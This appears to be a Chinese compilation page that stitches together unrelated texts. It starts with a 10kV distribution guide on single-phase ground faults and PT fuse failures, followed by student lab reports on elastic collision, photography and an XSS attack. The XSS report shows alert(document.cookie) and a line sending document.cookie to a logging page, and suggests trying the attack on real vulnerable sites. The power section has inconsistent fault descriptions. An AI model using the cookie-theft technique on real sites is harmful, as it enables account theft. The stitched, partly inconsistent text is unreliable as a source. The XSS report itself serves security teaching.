一、发生单相接地故障的特点

中性点不接地或经过消弧线圈和高阻抗接地的三相系统，当某一相发生接地故障时，由于不能构成短路回路，接地故障电流往往比负荷电流小得多，这种系统被称为小电流接地系统。

在小电流接地系统中，单相接地是一种常见的临时故障，多发生在潮湿、多雨天气。发生单相接地后，故障相对地电压降低，非故障两相的相电压升高，但线电压却依然对称，因而不影响对用户的连续供电，系统仍可运行1—2h。这也是小电流接地系统的最大的优点。但若发生单相接地故障时电网长期运行，因非故障的两相对地电压可升高根号3倍，可能引起绝缘薄弱环节被击穿，发展成为相间短路，使事故扩大，影响用户的正常供电；也可能使电压互感器铁芯严重饱和，导致电压互感器严重过负荷而烧毁。同时，弧光接地还会引起全系统过电压，进而损坏设备，破坏系统安全运行。

二、发生单相接地故障现象分析与判断

下面是一台三相五芯柱电压互感器接图。如图所示接成Y0/Y0/Δ。接成Y0形的二次线圈供电给仪表、继电器及绝缘监察电压表等。辅助二次线圈接成开口三角形，供电给绝缘监察电压继电器。当三相系统正常工作时，三相电压平衡，开口三角形两端电压为零。当某一相接地时，开口三角形两端出现零序电压，使绝缘监察电压继电器动作，发出信号。

⑴ 完全接地。如果发生A 相完全接地，则故障相的电压降到0，非故障相的电压升高到线电压。此时，电压互感器开口处出现110V 电压，电压继电器动作，发出接地信号。

⑵ 不完全接地。当发生一相（如 A 相）不完全接地，即通过高电阻或电弧接地时，中性点位移。这时，故障相的电压降低，但不为0；非故障相的电压升高，且大于相电压，但不大于线电压。电压互感器开口三角处的电压达到整定值，电压继电器动作，发出接地信号。

⑶ 电弧接地。如果发生A 相完全接地，则故障相的电压降低，但不为0，非故障相的电压升高到线电压。此时电压互感器开口三角处出现100V 电压，电压继电器动作，发出接地信号。

⑷ 串联谐振。由于系统中存在容性和感性参数的元件，特别是带有铁芯的电感元件，在参数组合不匹配时会引起铁磁谐振，并且继电器动作，发出接地信号。

⑸ 绝缘监测仪表的中性点断线时电网发生单相接地。现象为：三相电压正常，但接地信号已发出。这是由于系统确已接地，但因电压表的中性点断线，故绝缘监测仪表无法正确地表示三相电压情况。此时，电压互感器开口三角处的电压达到整定值，电压继电器动作，发出接地信号。

三、发生相接地故障的原因分析

10kV 配电线路在实际运行中发生单相接地故障主要有以下几种原因: ⑴ 导线断线落地或搭在横担上，配电变压器高压引下线断线。⑵ 导线外力破坏砸断线造成单相接地。

⑶ 配电变压器台上高低压线路交叉、导线风偏过大,与建筑物距离过近。

⑷ 配电变压器台上的10kV 避雷器或10kV 熔断器绝缘击穿。⑸ 配电变压器高压绕组单相绝缘击穿或接地，熔断器老化或熔丝和设备不匹配造成熔断器不跌落。

⑹ 线路雷击造成绝缘子击穿、脱落线路对杆塔放电、线路烧断发生单相接地。

⑺ 线路上的分支熔断器绝缘不良，不跌落。

⑻ 空气湿度大时树木对导线距离不够、鸟害、飘浮物(如塑料布、树枝、风筝等)、其它偶然或不明原因。

⑼ 地埋电缆单相接地或受外力破坏造成永久损伤。

在以上诸多种原因中，导线断线、绝缘子击穿和地埋电缆单相接地或受外力破坏造成永久损伤是发生配电线路单相接地故障最主要的原因，对近几年来单相接地故障原因统计，上述三种原因占总故障原因的80%以上。

四、发生单相接地故障的预防办法

对于配电线路单相接地故障，可以采取以下几种方法进行预防，以减少单相接地故障发生: ⑴ 提高配电网绝缘强度,更换裸导线为绝缘导线。

⑵ 对配电线路定期进行巡视，主要是看导线与树木、建筑物的距 离，电杆顶端是否有鸟窝，导线在绝缘子中的绑扎或固定是否牢固，绝缘子固定螺栓是否松脱，横担、拉线螺栓是否松脱，拉线是否断裂或破股，导线弧垂是否过大或过小等、对在巡视中发现的问题和缺陷要及时的处理和上报。

⑶ 对线路有严重危害地段要加强巡视周期。

⑷ 对配电线路上的绝缘子、分支熔断器、避雷器等设备定期进行绝缘测试，不合格及时更换。

⑸ 对配电变压器定期进行试验，对不合格的配电变压器进行维修或更换。

⑹ 在主线路每隔1-2KM装设分段开关和分支配电线路上加装分支开关，缩小故障范围，减少停电面积和停电时间，有利于快速查找故障点。

⑺ 运行单位严格把好新设备投运验收关,特别是电缆线路的隐蔽工程和电缆标示桩。

⑻ 市区线路应采用环网供电的方式，减少故障停电范围。⑼ 广泛宣传安全用电知识，尽量减少外力破坏。

五、发生单相接地故障后的处理办法

当配电线路发生单相接地后，在上级调度人员指挥下，运行维护人员应立即组织人员巡视线路，查找故障点，在查找过程中可以采取分片、分段、分支、分设备的“排除法”。

⑴ 充分发挥联动机制，动员广大用电客户，如发现用电设备有异常及时沟通，减少运行维护人员查找故障的时间。

⑵ 断开线路第一道开关，组织运行维护人员重点排查这段线路。如线路无异常则向调度申请试送前端线路。

⑶ 如线路试送成功则说明故障点在这段线路的下一段，可采用相同的方法尽快找到故障点并消除。

⑷ 如查找发现线路的故障点在线路的中段，运行维护人员应讯速向调度汇报，在调度的命令下断开上一级和下一级开关，隔离故障段，采用环网供电方式尽量缩小停电范围。同时组织人员迅速抢修。

⑸ 对电缆线路可采用先进行隔离后逐个排除的方法进行查找。如果上述办法未查找到故障点，可请求上级调度对故障线路试送电一次，如成功，则可能是其他不明偶然原因造成，不成功，则用“排除法”继续查找，直到查找到并消除故障为止。

第二节 10kV变配电所中PT断线的判断与处理

一、利用电压表指示判断系统故障 当发生接地故障时，配电值班员先解除音响，根据事件追忆显示内容及三相电压表指示来判断是单相接地故障还是PT断线故障；

1．如是单相接地故障现象：

（1）预告音响（警铃响），有故障相的电压测控信号装置及线路测控保护装置显示故障报警灯亮，事故追忆显示单相接地；（2）发生间歇性接地故障，接地相电压时减、时增，非故障相电压时增、时减，或有时正常。

（3）发生完全接地故障时，三相电压表指示不同，接地相电 压为零或接近零，非故障相电压升高至线电压且持久不变。

（4）相关馈线柜的高压带电显示器接地相灯不亮或时亮、时暗。2.如是PT断线，则根据

二、PT断线的处理方法

1．电压互感器低压侧熔断器熔断一相时 当电压互感器低压侧熔断器熔断一相时，熔断相的接地电压表指示为零，其它两相电压不变，电压回路断线信号动作，功率表，电能表读数不准确。当用电压开关切换电压时，三相电压不平衡。此时。应按以下步骤进行处理。（1）解除音响信号；

（2）退出电压互感器所带的保护（失压保护）和自动装置（通过投退软压板或保护连片实现）。软压板的投退正常情况在后台机上进行操作，若后台机因故不能正常进行软压板投退操作时，在保护测控装置上进行软压板投退操作。因各配电所情况不一样，软压板的投退应执行本所操作程序；

（3）向调度汇报操作情况，等候处理；（4）根据调度命令进行处理；

（5）检查电压互感器低压熔断器，如已熔断，对熔断器进行更换。若再次熔断，要查明原因，且不可将其容量随意增大；如熔断器完好时，可检查电压互感器低压回路接头有无松动、断头现象，切换回路有无接触不良现象、航空插头接触是否良好。2．电压互感器高压熔断器熔断一相时

当电压互感器高压熔断器熔断一相时，熔断相的接地电压表 指示接近零，其它两相电压正常或略低，功率表、电能表读数不准确。熔断相的线电压偏低，三相电压不平衡，此时，应按以下步骤进行处理：

(1)手车式高压开关柜 ①解除音响信号；

②退出电压互感器所带的保护与自动装置（通过投退软压板或保护连片实现）

③向调度汇报操作情况，等候处理； ④根据调度命令进行相关的操作处理； ⑤将手车退至间隔外进行更换；

⑥用万用表电阻档测量所装熔断器导通正常。(2)固定式高压开关柜 ①解除音响信号；

②退出电压互感器所带的保护（失压保护）与自动装置（通过投退软压板或保护连片实现）；

③向调度汇报操作情况，等候处理； ④根据调度命令进行处理；

(3)更换高压熔断器所采取的安全措施有：

①若作业时，人体与带电体之间的最小安全距离符合规定（无安全遮拦6-10KV：700mm；10-35KV：1000mm），断开电压互感器柜两侧隔离开关使电压互感器退出运行，在进出线上分别进行验电、接地封线并短封二次后，对熔断相熔断器进行更换；

②人体与带电体之间的最小安全距离不符合上述规定距离，除断开电压互感器柜隔离开关使电压互感器退出运行外，还要将相应系统进行停电，从各方面断开电源，在相应进出线上分别进行验电、接地封线并短封二次后，对熔断相熔断器进行更换。③进行上述操作时，必须按劳保着装，戴安全帽、绝缘手套，穿 绝缘靴，一人操作，一人监护。

7.弹性碰撞演示实验实验报告 篇七

姓名：杨倩倩学号：11122290教师：戴晔

[实验名称] 弹性碰撞演示仪

[实验目的]

本次实验用于演示正碰撞和动量守恒定律，形象地显现弹性碰撞的情形。

[实验原理]

动量守恒定律 m1v1+ m2v2 = m1v1` +m2v2`

由动量守恒定律可知,如果正碰撞的两球，碰前速度分别为v1和v2,碰撞后的速度分别为v1`和v2`,质量分别为m1和m

2[实验器材]

1、底座、支架、钢珠（七个，且大小、质量相等）拉线、调节螺丝

2、技术指标：

钢球质量：m=7*0.2kg

直径：d=7*35mm

拉线长度：l=550mm

[实验操作与现象]

1、调整仪器，使得七个钢球的球心位于同一水平线上。

2、将仪器一端的一个钢球拉起来后，松手，则钢球正碰下一个钢球，末端的一个钢球弹起，继而，又碰下一个钢球，另一端的钢球弹起，循环不已，中间的五个不动。

3、拉起仪器一端的两个钢球重复上述操作，结果另一端的两个钢球弹起，中间的三个不动。

4、改变拉起钢球的数量重复上述操作，观察结果，每次会有另一端的相同数量的钢球弹起。

[注意事项]

8.摄影实验实验报告的填写 篇八

一、实验目的通过实验初步掌握照相机的使用方法，了解那些基本的摄影技术。

二、实验器材

1、照相机的型号

2、镜头的焦距和口径

三、实验过程

1、了解照相机的构造

2、拍摄（数据记录）

（1）日期、时间、天气

（2）光圈

（3）快门速度

（4）拍摄距离

四、结果分析

对你的作品进行分析，找出问题的原因。

9.实验4-4的实验报告 篇九

实

验

报

告

学生姓名：

学 号：

指导教师：实验地点：主楼A2-413-1

实验时间：

一、实验室名称：主楼A2-413-1

二、实验项目名称：跨站攻击实验

三、实验学时： 1 学时

四、实验原理：

1．什么是跨站攻击？

定义一：即Cross Site Script Execution(通常简写为XSS)是指攻击者利用网站程序对用户输入过滤不足，输入可以显示在页面上对其他用户造成影响的HTML代码，从而盗取用 户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。

定义二：指入侵者在远程WEB页面的HTML代码中插入具有恶意目的的数据，用户认为该页面是可信赖的，但是当浏览器下载该页面，嵌入其中的脚本将被解释执行。

由于HTML语言允许使用脚本进行简单交互，入侵者便通过技术手段在某个页面里插入一个恶意HTML代码，例如记录论坛保存的用户信息（Cookie），由于Cookie保存了完整的用户名和密码资料，用户就会遭受安全损失。如这句简单的Javascript脚本就能轻易获取用户信息：alert(document.cookie)，它会弹出一个包含用户信息的消息框。入侵者运用脚本就能把用户信息发送到他们自己的记录页面中，稍做分析便获取了用户的敏感信息。2．跨站漏洞成因 成因很简单，就是因为程序没有对用户提交的变量中的HTML代码进行过滤或转换。3．防范跨站攻击

对于普通用户而言：

在你的WEB浏览器上禁用java脚本，具体方法，先打开你的IE的Internet选项，切换到“安全”页，有个“自定义”级别，点击出现如图8-1所示窗口，禁用就可以了。

图8-1

但是好象不太可能，因为一旦禁用，很多功能就丧失了，这个方法是下策。

还有不要访问包含〈〉字符的连接，当然一些官方的URL不会包括任何脚本元素。

对于开发人员而言：

如果你的站点程序含论坛，留言板，以及其他程序中含提交数据格式的。需要对提交数据进行过滤，如：转换掉“<”和“>”，使用户不能构造Html标记；过滤掉 “:”和“&”，使用户不能将标记的属性设为Script；过滤掉空格，使用户不能引发事件机制等。

五、实验目的： 1．了解跨站攻击产生原因 2．了解跨站攻击所能产生的效果 3．了解防范跨站攻击的方法

六、实验内容：

1．编写简单的跨站攻击程序。2．编写程序实现盗取用户cookie。

七、实验器材（设备、元器件）：

PC微机一台、SimpleNAD网络实验教学系统

八、实验步骤：

本实验在windowsXP下使用自行编写的例子完成，例子本身比较简单，仅供原理说明及效果演示。读者如有兴趣，可以自行寻找具有xss漏洞的网站进行相应实验。

1．跨站攻击原理及效果展示

下面将通过一个简单例子来说明跨站攻击的原理及效果

首先打开浏览器，在地址栏中输入“http://127.0.0.1:8080/xss1/input.htm”在打开的页面中的文本框中输入任意字符串，比如：“hello world!”，如图8-2：

图8-2

点击“提交”按钮后，打开的新页面将刚才输入的内容显示了出来。如图8-3：

图8-3

可见本页面的功能是将用户填写的内容原封不动显示出来。

在浏览器中重新打开“http://127.0.0.1:8080/xss1/input.htm”，在文本框中输入如下内容：“”，并点击输入。如图8-4：

图8-4

这时，可以发现并没有按照预想结果，将刚才输入的字符串如实显示出来，而是把其当一段脚本加以执行，弹出了一个弹出框，如图8-5：

图8-5

如果我们将输入的内容改为：“”，点击“提交”按钮后，将会跳转到百度的首页，如果我们将链接地址改为预先构造好的恶意页面将会对查看该页面内容的用户造成很大的威胁。2．跨站盗取用户cookie 下面同样通过一个简单例子对利用跨站漏洞进行cookie内容的盗取。首先，打开浏览器在地址栏中输入：“http://127.0.0.1:8080/xss2/logtc.asp”；在打开的页面中，“用户名”和“留言”栏分别输入任意的字符串，比如：“匿名”和“你好”，如图8-6：

图8-6 点击“提交”按钮后，刚才所输入的内容将被显示出来。如图8-7：

图8-7

可见用户填写的内容在提交后，将在同一页面显示出来。

在浏览器中重新打开“http://127.0.0.1:8080/xss2/logtc.asp”，在文本框中输入如下内容：“”，并点击输入。如图8-8：

图8-8

随后，可以发现用户cookie的内容在弹出框中被显示出来了，如图8-9

图8-9

对留言栏输入的内容稍加修改，就可以将用户cookie的内容记录下来，比如在留言栏中输入“http://localhost/xss2/tc.asp? msg=’ + document.cookie)”（其中tc.asp实现了cookie文件的写入，在实践中也可以自行编写相应代码），就可以将相应内容记录到文件中，如图8-10：

图8-10

九、实验数据及结果分析：

十、实验结论：

如果对用户输入内容未加过滤，然后又将其原封不动在某个某个页面显示出来，就会产生夸张漏洞。利用跨站漏洞攻击者可以实现盗取用户信息，将用户引导有恶意代码的页面等攻击。

十一、总结及心得体会：

通过本次实验，基本了解跨站攻击产生原理，也经过具体的实验操作，看到了跨站攻击所能产生的效果，同时也了解了防范跨站攻击的方法。

十二、对本实验过程及方法、手段的改进建议：无

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